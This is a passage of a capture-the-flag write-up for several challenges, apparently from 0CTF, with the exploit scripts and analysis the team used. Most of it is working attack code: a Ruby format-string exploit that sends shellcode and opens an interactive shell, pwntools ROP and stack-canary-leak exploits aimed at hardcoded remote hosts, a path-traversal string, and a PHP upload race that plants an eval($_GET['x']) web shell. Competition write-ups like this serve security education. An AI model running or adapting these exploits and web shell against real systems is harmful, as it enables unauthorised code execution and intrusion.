  pad + ' ' * (length - pad.size)
end

def carry(b, c, target)
  # a - b = c
  # a - bがCarry Outしているか判定し,CarryOutしていたらTargetから-1を引く
  temp = 0xdead1400
  ret = "%1$*#{offset_to_index(b)}$c%1$*#{offset_to_index(c)}$c%#{offset_to_index(0xdead1008 + 28)}$hn"
  ret += ' ' * (28 - ret.size) + [temp].pack("I*")

  [
    write_buf(temp, 0x0),
    write_buf(temp + 1, 0x0),
    write_buf(temp + 2, 0x0),
    write_buf(temp + 3, 0x0),
    write_buf(temp + 8, 0x0),
    write_buf(temp + 9, 0x0),
    write_buf(temp + 10, 0x0),
    write_buf(temp + 11, 0x0),
    copy_buf(target, temp + 8),
    write_buf(b + 1, 0x8),
    write_buf(b + 2, 0x0),
    write_buf(b + 3, 0x0),
    write_buf(c + 1, 0x7),
    write_buf(c + 2, 0x0),
    write_buf(c + 3, 0x0),
    ret, # b + c = temp
    rpad("%#{offset_to_index(temp)}$x%253c%#{offset_to_index(0xdead1008 + 28)}$hhn" , 28) + [temp].pack("I"),
    sub_buf(temp + 8, temp, target)
  ].join
end

def senddata(s, msg)
  fail unless msg.size % 32 == 0
  msg.chars.each_slice(32) do |m|
    # @sendd += m.join
    # p @sendd.size
    s.print m.join
    s.flush
    sleep 0.01
  end
end

complete = true
cnt = 0
ts = Array.new(ARGV[2].to_i) do
  Thread.start do
     
while complete
  begin
    
  s = TCPSocket.open(ARGV[0], ARGV[1])
  
  # 1byteずつ減らす
  s.gets
  cnt += 1
  p cnt
  p s.gets
  senddata s, write_buf(0xdead1003, 0)
  senddata s, write_buf(0xdead1007, 0)
  # 最初の1byte目
  senddata s, copy_buf(0xdead1000, 0xdead1102) # dead1104: a
  senddata s, copy_buf(0xdead1004, 0xdead1112) # dead1114: b
  senddata s, sub_buf(0xdead1104, 0xdead1114, 0xdead1100) # dead1100: c
  # 2byte目
  senddata s, copy_buf(0xdead1000, 0xdead1123) # dead1124: a
  senddata s, copy_buf(0xdead1004, 0xdead1133) # dead1134: b
  senddata s, write_buf(0xdead1125, 0) + write_buf(0xdead1135, 0)
  senddata s, sub_buf(0xdead1124, 0xdead1134, 0xdead1120) # dead1120: c
  # 3byte目
  senddata s, copy_buf(0xdead1000, 0xdead1144) # dead1124: a
  senddata s, copy_buf(0xdead1004, 0xdead1154) # dead1134: b
  senddata s, write_buf(0xdead1145, 0) +write_buf(0xdead1146, 0) + write_buf(0xdead1155, 0)+ write_buf(0xdead1156, 0)
  senddata s, sub_buf(0xdead1144, 0xdead1154, 0xdead1140) # dead1120: c

  # carry out
  senddata s, carry(0xdead1154, 0xdead1140, 0xdead1120)
  senddata s, add_buf(0xdead1100, 0xdead1200, 0xdead1180)
  senddata s, carry(0xdead1134, 0xdead1120, 0xdead1180)

  # copy
  senddata s, add_buf(0xdead1180, 0xdead1200, 0xdead1802)
  senddata s, add_buf(0xdead1120, 0xdead1200, 0xdead1801)
  senddata s, add_buf(0xdead1140, 0xdead1200, 0xdead1800)

  # s.print @sendd
  s.print "\0"  * 32
  s.flush


  s.print shellcode +' ' * 95
  a = s.read(4)
  if a && a == '39ML'
    p '39!'
    complete = false
    ts = []
    ts << Thread.start do
      while fn = STDIN.gets
        s.print fn.strip + "\0" + "\0" * 256
        s.flush
      end
    end
    ts <<= Thread.start do
      begin
      while a = s.read(1)
        print a
      end
      rescue=>e
        STDERR.puts e, e.backtrace
      end
      p 'thread done'
    end   
    ts.each(&:join) 
  end
  s.close
rescue => e
  STDERR.puts e, e.backtrace
end
end
end
end
ts.each(&:join)

Blackhole

#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests, json, commands
import struct, socket, sys, telnetlib, os, signal, select, time
real_argv = list(sys.argv)
from pwn import * # kasu

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

HOST = '202.120.7.203'
PORT = 666

isremote = True

if isremote:
  conn = remote(HOST,PORT)
else:
  conn = remote("localhost",4040)
  """
  conn = gdb.debug(['./blackhole'], '''set env LD_PRELOAD=./libc-2.24.so
  start''')
  """

sol = conn.readline()
log.info(sol)
ans = commands.getoutput('ruby ./pow.rb ' + sol.replace('\n','')).replace('\n','')[-4:]
log.info(ans)
conn.send(ans)
'''
  400a30:       4c 89 ea                mov    %r13,%rdx
  400a33:       4c 89 f6                mov    %r14,%rsi
  400a36:       44 89 ff                mov    %r15d,%edi
  400a39:       41 ff 14 dc             callq  *(%r12,%rbx,8)
  400a3d:       48 83 c3 01             add    $0x1,%rbx
  400a41:       48 39 eb                cmp    %rbp,%rbx
  400a44:       75 ea                   jne    400a30 <__libc_start_main@plt+0x2f0>
  400a46:       48 83 c4 08             add    $0x8,%rsp
  400a4a:       5b                      pop    %rbx
  400a4b:       5d                      pop    %rbp
  400a4c:       41 5c                   pop    %r12
  400a4e:       41 5d                   pop    %r13
  400a50:       41 5e                   pop    %r14
  400a52:       41 5f                   pop    %r15
  400a54:       c3                      retq
  400a55:       90                      nop
  400a56:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)

'''

'''
alarm+5 == syscall
partial overwrite -> got -> syscall, int 0x80

csu_init(arg 3) + set rax with read()
'''

pop_rsi_ret = 0x00400a51 #: pop rsi ; pop r15 ; ret  ;  (1 found)
pop_rdi_ret = 0x00400a53 #: pop rdi ; ret  ;  (1 found)
libc_csu_init = 0x400a30
libc_csu_init_ret = 0x400a4a

log.info('Pwning')

buf = 'A'*40

#shellcode buffer
buf += p64(pop_rsi_ret) + p64(0x601060) + p64(0xdeadbeef)
buf += p64(pop_rdi_ret) + p64(0)
buf += p64(0x400730)

#partial ovewrite to syscall return-to-csu attack
buf += p64(0x400a4a) + p64(0) + p64(1) + p64(0x601048) + p64(1)  + p64(0x601040) + p64(0)
buf += p64(0x400a30) + p64(0xdeadbeef)

#return to vuln
buf += p64(0)*6 + p64(0x4009A7)

#read and set rax=10. place is anywhere ok.
buf2 = 'A'*40
buf2 += p64(0x400a4a) + p64(0) + p64(1) + p64(0x601048) + p64(10)  + p64(0x601f00) + p64(0)
buf2 += p64(0x400a30) + p64(0xdeadbeef)

#call mprotect
buf2 += p64(0) + p64(1) + p64(0x601040) + p64(0x7)  + p64(0x1000) + p64(0x601000)
buf2 += p64(0x400a30) + p64(0xdeadbeef)
buf2 += p64(0)*6 + p64(0x601060)

assert(len(buf) <= 0x100)
assert(len(buf2) <= 0x100)

#raw_input('debug')
#conn.write(buf.ljust(256,'B'))
xyz = buf.ljust(256,'B')

#raw_input('debug')
check = real_argv[1]

shellcode = asm("""
mov rdi,0x60115c
xor rsi,rsi
mov rax,0x2
syscall
mov rdi,rax
mov rsi,0x601000
mov rdx,0x60
mov rax,0
syscall

cmp byte ptr[0x601000+"""+str(len(check)-1)+"""],"""+str(ord(check[-1]))+"""
jne crash
loop:
  jmp loop
crash:
  xor rax,rax
  mov byte ptr [rax],0
""")
assert(len(shellcode) <= 0xfc)
shellcode = shellcode.ljust(0xfc,'A')
shellcode += 'flag'

#conn.write(shellcode.ljust(256,'A'))
xyz += shellcode.ljust(256,'A')

#raw_input('debug')
#conn.write('\x05')
if isremote:
  xyz += '\x85'
else:
  xyz += '\x05'

#raw_input('debug')
#conn.write(buf2.ljust(256,'C'))
xyz += buf2.ljust(256,'C')

#raw_input('debug')
#conn.write('A'*10)
xyz += 'A'*10

conn.send(xyz.ljust(0x800,'A'))

conn.interactive()

HouseOfCards

main process

#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests, json, commands
import struct, socket, sys, telnetlib, os, signal, select, time
from pwn import * # kasu

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

HOST = '104.236.0.107'
#HOST = '202.120.7.193'
PORT = 11111


print sys.argv
if len(sys.argv) > 1 and sys.argv[1] == 'r':
  conn = remote(HOST,PORT)
else:
  conn = remote("localhost",4040)
  """
  conn = gdb.debug(['./house_of_c4rd'], '''set env LD_PRELOAD=./libc.so.6
  set env REMOTE_HOST=127.0.0.1
  c''')
  """

conn.recvuntil('>')
conn.writeline('1')
conn.recvuntil('Enter file name:')
conn.writeline('AAAA')

conn.recvuntil('>')
conn.writeline('3')

conn.recvuntil('Size data>')
conn.writeline('-1')

conn.recvuntil('Data>')
conn.writeline('A'*1032) #send 1033byte -> leak canary

conn.recvuntil('Key>')
conn.writeline('K'*15)

log.info("Leak canary from another connection! (Another Global IP)")
canary = int(raw_input('canary hex(leak) = '),16)
libc_base = int(raw_input('libc_base hex(leak) = '),16)

conn.recvuntil('>')
conn.writeline('1')

conn.recvuntil('Enter file name:')
conn.writeline('AAAA')

conn.recvuntil('>')
conn.writeline('3')

conn.recvuntil('Size data>')
conn.writeline('-1')

conn.recvuntil('Data>')
one_gadget_offset = 0x4526a
rop = p64(libc_base + one_gadget_offset)*4 + p64(0)*100
conn.writeline(p64(canary)*(1032/8) + p64(canary)*2 + rop)
conn.recvuntil('Key>')
conn.writeline('KEY')

conn.recvuntil('>')
conn.writeline('4')

conn.interactive()

sub process for leak canary (from another global IP)

#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests, json, commands
import struct, socket, sys, telnetlib, os, signal, select, time
from pwn import * # kasu

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

HOST = '104.236.0.107'
PORT = 11111

if len(sys.argv) > 1 and sys.argv[1] == 'r':
  conn = remote(HOST,PORT)
else:
  conn = remote("localhost",4040)
  """
  conn = gdb.debug(['./house_of_c4rd'], '''set env LD_PRELOAD=./libc.so.6
  set env REMOTE_HOST=127.0.0.1
  c''')
  """

conn.recvuntil('>')
conn.writeline('1')

conn.recvuntil('Enter file name:')
conn.writeline('PPPP')
conn.recvuntil('>')
conn.writeline('3')

conn.recvuntil('Size data>')
conn.writeline('-1')

conn.recvuntil('Data>')
#tyousei is needed
raw_input('debug')
conn.writeline("/.."*1100 + "/sandbox/119.104.102.192/\0") #send 1025byte -> leak canary

conn.recvuntil('Key>')
conn.writeline('KEY')

conn.recvuntil('>')
conn.writeline('2')

conn.recvuntil('Enter file name:')
conn.writeline('AAAA')

conn.recvuntil('>')
conn.writeline('3')

conn.recvuntil('Enter key>')
conn.writeline('K'*15)

conn.recvuntil('A'*1032)
canary = u64('\0'+conn.recv(8)[1:])

log.info('Canary : ' + hex(canary))

_ = conn.recv(8) # leak PIE
libe_start_main_ret_offset = 0x20830
libc_base = u64(conn.recv(8)) - libe_start_main_ret_offset # libc leak

log.info('libc base : ' + hex(libc_base))

ezDoor

the source code is available at http://202.120.7.217:9527/

<?php

error_reporting(1);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
  mkdir($dir);
}
if(!file_exists($dir . "index.php")){
  touch($dir . "index.php");
}

function clear($dir)
{
  if(!is_dir($dir)){
    unlink($dir);
    return;
  }
  foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
      continue;
    }
    unlink($dir . $file);
  }
  rmdir($dir);
}

switch ($_GET["action"] ?? "") {
  case 'pwd':
    echo $dir;
    break;
  case 'phpinfo':
    echo file_get_contents("phpinfo.txt");
    break;
  case 'reset':
    clear($dir);
    break;
  case 'time':
    echo time();
    break;
  case 'scan':
    foreach (scandir($dir) as $file) {
      echo $file . PHP_EOL;
    }
  case 'upload':
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      die('name empty');
      break;
    }

    if ($_FILES['file']['size'] > 100000) {
      clear($dir);
      die('file size > 100000');
      break;
    }

    $name = $dir . $_GET["name"];
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
      stristr(pathinfo($name)["extension"], "h")) {
        echo pathinfo($name)["extension"] . PHP_EOL;
        die('extension check');
      break;
    }
    var_dump(move_uploaded_file($_FILES['file']['tmp_name'], $name));
    $size = 0;
    foreach (scandir($dir) as $file) {
      if (in_array($file, [".", ".."])) {
        continue;
      }
      $size += filesize($dir . $file);
    }
    if ($size > 100000) {
      clear($dir);
    }
    break;
  case 'shell':
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php";
    break;
  default:
    highlight_file(__FILE__);
    break;
}

there is a way to bypass extension filter and race condition to upload arbitrary index.php

extension filter bypass

with a name filename.php/., I can upload file as filename.php.
it bypasses the extension filter so that I could upload any php script except index.php.

race condition

thanks to scandir and it takes a little time to delete all files under sandbox, I can abuse the race condition to upload index.php.
the strategy was succeeded at 19th trying with following script:

import requests
import threading
import concurrent.futures

url = "http://202.120.7.217:9527"
sess = requests.Session()
def pwd():
    req = sess.get(url, params={'action': 'pwd'})
    return req.text

def upload(name, body):
    req = sess.post(url, params={'action': 'upload', 'name': name}, files={'file': open('e.php')})

def shell():
    req = sess.get(url, params={'action': 'shell'})
    return req.text

def reset():
    req = sess.get(url, params={'action': 'reset'})


phpcode = """
yo
<?php
var_dump(eval($_GET['x']));
"""


def attack():
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        for i in range(50):
            executor.submit(upload, 'a{}'.format(i), '')
            executor.submit(upload, 'z{}'.format(i), '')
        executor.shutdown(wait=True)

    t1 = threading.Thread(target=reset)
    t2 = threading.Thread(target=upload, args=('index.php/.', phpcode, ))

    t1.start()
    t2.start()

    t1.join()
    t2.join()

    if 'yo' in shell():
        return True
    return False

cnt = 0

while True:
    print('trying: {}'.format(cnt))
    res = attack()
    if res:
        print('found')
        break
    cnt += 1

print(pwd())

opcache analysis

then, there is strange file named 93f4c28c0cf0b07dfd7012dca2cb868cc0228cad under /var/www/html/flag, which is something like php opcache.
inspecting the opcache header, I found the lack of \x00 at 8th byte.
the opcache_disassembler.py worked with pip package construct ver. 2.9.23 and got following instructions:

function encrypt() {
  #0 !0 = RECV(None, None);
  #1 !0 = RECV(None, None);
  #2 DO_FCALL_BY_NAME(None, 'mt_srand');
  #3 SEND_VAL(1337, None);
  #4 (129)?(None, None);
  #5 ASSIGN(!0, '');
  #6 (121)?(!0, None);
  #7 ASSIGN(None, None);
  #8 (121)?(!0, None);
  #9 ASSIGN(None, None);
  #10 ASSIGN(None, 0);
  #11 JMP(->-24, None);
  #12 DO_FCALL_BY_NAME(None, 'chr');
  #13 DO_FCALL_BY_NAME(None, 'ord');
  #14 FETCH_DIM_R(!0, None);
  #15 (117)?(None, None);
  #16 (129)?(None, None);
  #17 DO_FCALL_BY_NAME(None, 'ord');
  #18 MOD(None, None);
  #19 FETCH_DIM_R(!0, None);
  #20 (117)?(None, None);
  #21 (129)?(None, None);
  #22 BW_XOR(None, None);
  #23 DO_FCALL_BY_NAME(None, 'mt_rand');
  #24 SEND_VAL(0, None);
  #25 SEND_VAL(255, None);
  #26 (129)?(None, None);
  #27 BW_XOR(None, None);
  #28 SEND_VAL(None, None);
  #29 (129)?(None, None);
  #30 ASSIGN_CONCAT(!0, None);
  #31 PRE_INC(None, None);
  #32 IS_SMALLER(None, None);
  #33 JMPNZ(None, ->134217662);
  #34 DO_FCALL_BY_NAME(None, 'encode');
  #35 (117)?(!0, None);
  #36 (130)?(None, None);
  #37 RETURN(None, None);

}
function encode() {
  #0 RECV(None, None);
  #1 ASSIGN(None, '');
  #2 ASSIGN(None, 0);
  #3 JMP(->-81, None);
  #4 DO_FCALL_BY_NAME(None, 'dechex');
  #5 DO_FCALL_BY_NAME(None, 'ord');
  #6 FETCH_DIM_R(None, None);
  #7 (117)?(None, None);
  #8 (129)?(None, None);
  #9 (117)?(None, None);
  #10 (129)?(None, None);
  #11 ASSIGN(None, None);
  #12 (121)?(None, None);
  #13 IS_EQUAL(None, 1);
  #14 JMPZ(None, ->-94);
  #15 CONCAT('0', None);
  #16 ASSIGN_CONCAT(None, None);
  #17 JMP(->-96, None);
  #18 ASSIGN_CONCAT(None, None);
  #19 PRE_INC(None, None);
  #20 (121)?(None, None);
  #21 IS_SMALLER(None, None);
  #22 JMPNZ(None, ->134217612);
  #23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);

and it roughly reversed to

<?php

function encrypt($data, $key) {
    mt_srand(1337);
    $s = "";
    for($idx=0;$idx<strlen($data);$idx++) {
        $s .= chr(ord($data[$idx]) ^ ord($key[$idx%strlen($key)]) ^ mt_rand(0, 255)&0xff);
    }
    return encode($s);
}

function encode($data) {
    $s = "";
    for($i=0;$i<strlen($data);$i++) {
        $c = dechex(ord($data[$i]));
        if (strlen($c) == 1) {
            $c = '0' . $c;
        }
        $s .= $c;
    }
    return $s;
}


$flag = 'flag{';

if (encrypt($flag, 'this_is_a_very_secret_key') === '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab') {
    echo 'Congratulation! You got it!';
}
else {
    echo 'Wrong Answer';
}

this is simple encryption algorithm and mt_rand state is recoverable.
I think following script will show me the flag but IT TOOK HOURS DUE TO DIFFERENCE OF mt_rand ENVIRONMENT (NOT 7.0.28 in phpinfo.txt, BUT >=7.1).

<?php
function decrypt($data, $key) {
    mt_srand(1337);
    $idx = 0;
    $s = "";
    $data = hex2bin($data);
    for($i=0;$i<strlen($data);$i++) {
        $s .= chr(ord($data[$i]) ^ ord($key[$i%strlen($key)]) ^ mt_rand(0, 255));
    }
    return $s;
}

echo decrypt('85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab', 'this_is_a_very_secret_key') . PHP_EOL;

Easy User Manage System

it was very very black box testing.
the HEAD request with verification code was sent to the host, so I have to disguise as 8.8.8.8 but it is impossible.
With many trying with register, verify, update and verify, finally I found the race condition bug in last 7 minutes with doing verify and update simultaneously.

# coding: utf-8

import requests
from multiprocessing import Process
import proofofwork


url = "http://202.120.7.196:2333"

def randstr(n=8):
    import random
    import string
    chars = string.ascii_letters + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def register(username, password, phone, sess):
    data = {
        'username': username,
        'password': password,
        'phone': phone,
        'submit': '',
    }
    req = sess.post(url+'/register.php', data=data)
    return req

def login(username, password, sess, verbose=False):
    data = {
        'username': username,
        'password': password,
        'submit': '',
    }
    req = sess.post(url+'/login.php', data=data)
    if verbose:
        print(req.text)
    return req

def verify(code, sess, verbose=False):
    data = {
        'code': code,
        'submit': '',
    }
    req = sess.post(url+'/verify.php', data=data)
    if verbose:
        print(str(sess.cookies)+' '+req.text)
    return req


def create_user():
    sess = requests.session()

    # sess
    sess.get(url+'/login.php')
    username = randstr()
    register(username, username, '{}.mydomain'.format(username), sess)

    code = raw_input('code ({}): '.format(username)).strip()

    verify(code, sess)

    return username


def change(phone, sess):
    req = sess.get(url+'/change.php')
    cap = req.text.split("(substr(md5($str), 0, 6) === '")[1].split("'). <")[0].encode('utf-8')
    print(repr(cap))
    task = proofofwork.md5(cap)
    data = {
        'task': task,
        'phone': phone,
    }
    req = sess.post(url+'/change.php', data=data)
    print(req.text)
    return req

def do_change(phone, task, sess, verbose=False):
    data = {
        'task': task,
        'phone': phone,
    }
    req = sess.post(url+'/change.php', data=data)
    if verbose:
        print(req.text)
    return req

def solve_task(sess):
    req = sess.get(url+'/change.php')
    task = req.text.split("(substr(md5($str), 0, 6) === '")[1].split("'). <")[0].encode('utf-8')
    cap = proofofwork.md5(task)
    return cap


if __name__ == '__main__':
    u = create_user()

    print('u: {}'.format(u))

    s1 = requests.session()
    s2 = requests.session()

    login(u, u, s1)
    login(u, u, s2)

    task1 = solve_task(s1)
    task2 = solve_task(s2)

    do_change('mydomain', task1, s1)

    code = raw_input('code: ').strip()

    p1 = Process(target=verify, args=(code, s1, True))
    p2 = Process(target=do_change, args=('8.8.8.8', task2, s2, True))

    p1.start()
    p2.start()

    p1.join()
    p2.join()

both verifying and update request is accepted and could login without 8.8.8.8 verifying.

g0g0g0

By analyzing the program we obtained the following constraint equation.

from z3 import * def func_add(a1, a2): return a1 + a2 def func_mul(a1, a2): return a1 * a2 s = Solver() xs = [Int("x%d" % i) for i in range(3)] t24 = xs[0] t26 = xs[1] t28 = xs[2] t50 = func_add(t24, t26) t51 = func_add(t24, t28) t52 = func_add(t26, t28) t53 = func_mul(t50, t51) t54 = func_mul(t53, t24) t55 = func_mul(t50, t52) t56 = func_mul(t55, t26) t57 = func_mul(t51, t52) t58 = func_mul(t57, t28) t59 = func_add(t56, t58) t60 = func_add(t54, t59) t64 = func_mul(t51, t52) t65 = func_mul(t50, t64) t66 = func_mul(10, t65) s.add(t60 == t66) for i in range(3): s.add(xs[i] > 0) r = s.check() if r == sat: m = s.model() for i in range(3): print m[xs[i]].as_long() else: print '====' print r print '===='

The above equation is equivalent to the following equation.

(x+y)(x+z)x10(x+y)(x+z)(y+z)+(x+y)(y+z)y+(x+z)(y+z)z=0

We got non-trivial but non-positive solution (x,y,z)=(9,19,7) by bruteforcing. We converted a non-positive solution to a positive solution with an elliptic curve.
Simplify the equation.

x3+y3+z39(x2y+xy2+y2z+yz2+z2x+zx2)17xyz=0

Then, divide by z3 and replace (x/z) and (y/z) with x and y.
f(x,y):=x3+y3+19(x2y+xy2+y2+y+x+x2)17xy=0

Our goal is to solve the equation with positive rational x,y.
f(u+v,uv)=16u335u2+(24v218)u+(v2+1)=0

So,
(24u1)v2=16u3+35u2+18u1

We substitute w=24u1,
wv2=(1/864)w3+(37/576)w2+(7/8)w325/1728

Divide by w3,
(v/w)2=1/864+(37/576)(1/w)+(7/8)(1/w)2(325/1728)(1/w)3

Furthermore, we substitute (1/w)=(1728/325)p, (v/w)=(1728/325)q.
q2=p3+(7/8)p2(12025/995328)p+105625/2579890176

Now, we got an elliptic curve in Weierstrass form! We can generate another rational point with the group over the elliptic curve. With PARI/GP, 13 times multiplication:

E=ellinit([0, 7/8, 0, -12025/995328, 105625/2579890176])
u(x,y,z) = (x/z+y/z)/2
v(x,y,z) = (x/z-y/z)/2
w(x,y,z) = 24*u(x,y,z)-1
p(x,y,z) = -325/1728/w(x,y,z)
q(x,y,z) = 325/1728*v(x,y,z)/w(x,y,z)
P=ellpow(E, [p(9,19,-7), q(9,19,-7)], 13)
p1=P[1]
q1=P[2]
w1=-325/1728/p1
v1=q1*w1/(325/1728)
u1=(w1+1)/24
x1=u1+v1
y1=u1-v1

Thus, we got a positive solution:
x=269103113846520710198086599018316928810831097261381335767926880507079911347095440987749703663156874995907158014866846058485318408629957749519665987782327830143454337518378955846463785600977
y=221855981602380704196804518854316541759883857932028285581812549404634844243737502744011549757448453135493556098964216532950604590733853450272184987603430882682754171300742698179931849310347
z=4862378745380642626737318101484977637219057323564658907686653339599714454790559130946320953938197181210525554039710122136086190642013402927952831079021210585653078786813279351784906397934209

hidden message

We got the flag with diffing wikipedia and a message of nc 202.120.7.211 8719.